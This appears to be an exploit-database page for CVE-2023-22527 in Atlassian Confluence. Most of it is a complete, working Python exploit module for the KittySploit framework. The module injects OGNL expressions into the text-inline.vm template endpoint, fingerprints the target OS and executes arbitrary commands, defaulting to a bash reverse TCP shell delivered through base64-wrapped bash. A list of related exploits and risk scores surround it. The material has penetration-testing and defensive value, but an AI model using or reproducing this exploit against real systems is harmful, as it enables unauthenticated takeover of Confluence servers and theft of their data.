Atlassian Confluence SSTI RCE (CVE-2023-22527)
| Reporter | Title | Published | Views | Family All 103 |
|---|---|---|---|---|
| CVE-Confluence | 13 Aug 202611:38 | – | githubexploit | |
| Exploit for Injection in Atlassian Confluence_Data_Center | 23 Jan 202417:07 | – | githubexploit | |
| Exploit for Injection in Atlassian Confluence_Data_Center | 26 Feb 202402:34 | – | githubexploit | |
| BARE | 13 Oct 202602:00 | – | githubexploit | |
| Exploit for Injection in Atlassian Confluence_Data_Center | 23 Jan 202417:07 | – | githubexploit | |
| Exploit for Injection in Atlassian Confluence_Data_Center | 23 Jan 202408:53 | – | githubexploit | |
| Exploit for Injection in Atlassian Confluence_Data_Center | 22 Jan 202411:38 | – | githubexploit | |
| Exploit for Injection in Atlassian Confluence_Data_Center | 23 Jan 202409:28 | – | githubexploit | |
| Exploit for Injection in Atlassian Confluence_Data_Center | 25 Jan 202405:32 | – | githubexploit | |
| Exploit for Expression Language Injection in Atlassian Confluence_Data_Center | 10 Mar 202608:01 | – | githubexploit |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Atlassian Confluence SSTI / OGNL RCE (CVE-2023-22527) — reverse CMD session."""
from __future__ import annotations
import base64
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
__info__ = {
'name': 'Atlassian Confluence SSTI RCE (CVE-2023-22527)',
'description': (
'Exploits CVE-2023-22527 OGNL injection on /template/aui/text-inline.vm '
'to run arbitrary OS commands via freemarker Execute().exec. '
'Confluence 8.0.0–8.5.3 are affected.'
),
'author': ['ProjectDiscovery', 'Spencer McIntyre', 'KittySploit Team'],
'cve': ['CVE-2023-22527'],
'platform': Platform.MULTI,
'arch': [Arch.X86, Arch.X64],
'category': PayloadCategory.CMD,
'payload': {
'default': 'payloads/singles/cmd/unix/bash_reverse_tcp',
'platform': [Platform.UNIX, Platform.WINDOWS, Platform.MULTI],
'category': PayloadCategory.CMD,
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2023-22527',
'https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615',
'https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/',
],
'tags': [
'confluence', 'atlassian', 'ssti', 'ognl', 'rce', 'unauth',
'kev', 'cve-2023-22527',
],
'agent': {
'risk': 'critical',
'effects': ['active_exploitation', 'remote_code_execution'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals', 'rce'],
'requires': {
'tech_hints_any': ['confluence'],
'endpoint_pattern_any': ['/template/aui/text-inline.vm'],
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': 'OGNL freemarker Execute'},
{'capability': 'shell', 'from_detail': 'reverse CMD session'},
],
'suggested_followups': ['scanner/http/confluence_cve_2023_22527_detect'],
},
},
}
port = OptPort(8090, 'Confluence HTTP port', True)
ssl = OptBool(False, 'Use HTTPS', True, advanced=True)
shell = OptChoice(
'unix',
'Shell wrapper for Runtime.exec',
False,
choices=['unix', 'windows'],
advanced=True,
)
_INJECT_PATH = '/template/aui/text-inline.vm'
def _inject_ognl(self, ognl: str, extra: dict | None = None):
param = self.random_text(8)
label = (
'\\u0027+#request.get(\\u0027.KEY_velocity.struts2.context\\u0027)'
'.internalGet(\\u0027ognl\\u0027).findValue(#parameters.'
f'{param},{{}})+\\u0027'
)
data = {param: ognl, 'label': label}
if extra:
data.update(extra)
return self.http_request(
method='POST',
path=self._INJECT_PATH,
data=data,
allow_redirects=False,
)
def _detect_platform(self) -> str | None:
header = f'X-{self.random_text(10)}'
ognl = (
f"@org.apache.struts2.ServletActionContext@getResponse()"
f".setHeader('{header}', (@java.lang.System@getProperty('os.name')))"
)
r = self._inject_ognl(ognl)
if not r:
return None
return r.headers.get(header) or r.headers.get(header.lower())
def _run_command(self, cmd: str) -> bool:
cmd_param = self.random_text(8)
ognl = (
'(new freemarker.template.utility.Execute()).exec('
f"@org.apache.struts2.ServletActionContext@getRequest().getParameter('{cmd_param}'))"
)
wrapper = str(self.shell or 'unix').strip().lower()
if wrapper == 'windows':
extra = {cmd_param: f'cmd.exe /c "{cmd}"'}
else:
extra = {cmd_param: f'sh -c $@|sh . echo {cmd}'}
r = self._inject_ognl(ognl, extra)
return r is not None
def check(self):
platform = self._detect_platform()
if not platform:
return {
'vulnerable': False,
'reason': 'OGNL injection probe failed',
'confidence': 'medium',
}
return {
'vulnerable': True,
'reason': f'OGNL injection confirmed (platform: {platform})',
'confidence': 'high',
}
def run(self):
payload_cmd = str(self.payload or '').strip()
if not payload_cmd:
print_error('Set a reverse CMD payload (e.g. payloads/singles/cmd/unix/bash_reverse_tcp)')
return False
print_status('CVE-2023-22527 — Confluence OGNL SSTI RCE')
platform = self._detect_platform()
if not platform:
print_error('Target did not respond to OGNL probe')
self.not_vulnerable()
return False
print_success(f'OGNL injection works (detected: {platform})')
if platform.lower().startswith('win'):
self.shell = 'windows'
else:
self.shell = 'unix'
if self.shell == 'unix' and 'bash' not in payload_cmd and 'sh' not in payload_cmd:
b64 = base64.b64encode(payload_cmd.encode()).decode()
payload_cmd = f"bash -c {{echo,{b64}}}|{{base64,-d}}|{{bash,-i}}"
print_status(f'Delivering payload on {self._INJECT_PATH}...')
if not self._run_command(payload_cmd):
print_error('Failed to dispatch payload')
self.not_vulnerable()
return False
print_success('Payload dispatched — check listener for session')
self.vulnerable()
return True
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04 Sep 2026 06:36Current
9Critical risk
Vulners AI Score9
CVSS 3.19.8
CVSS 310
EPSS0.99984
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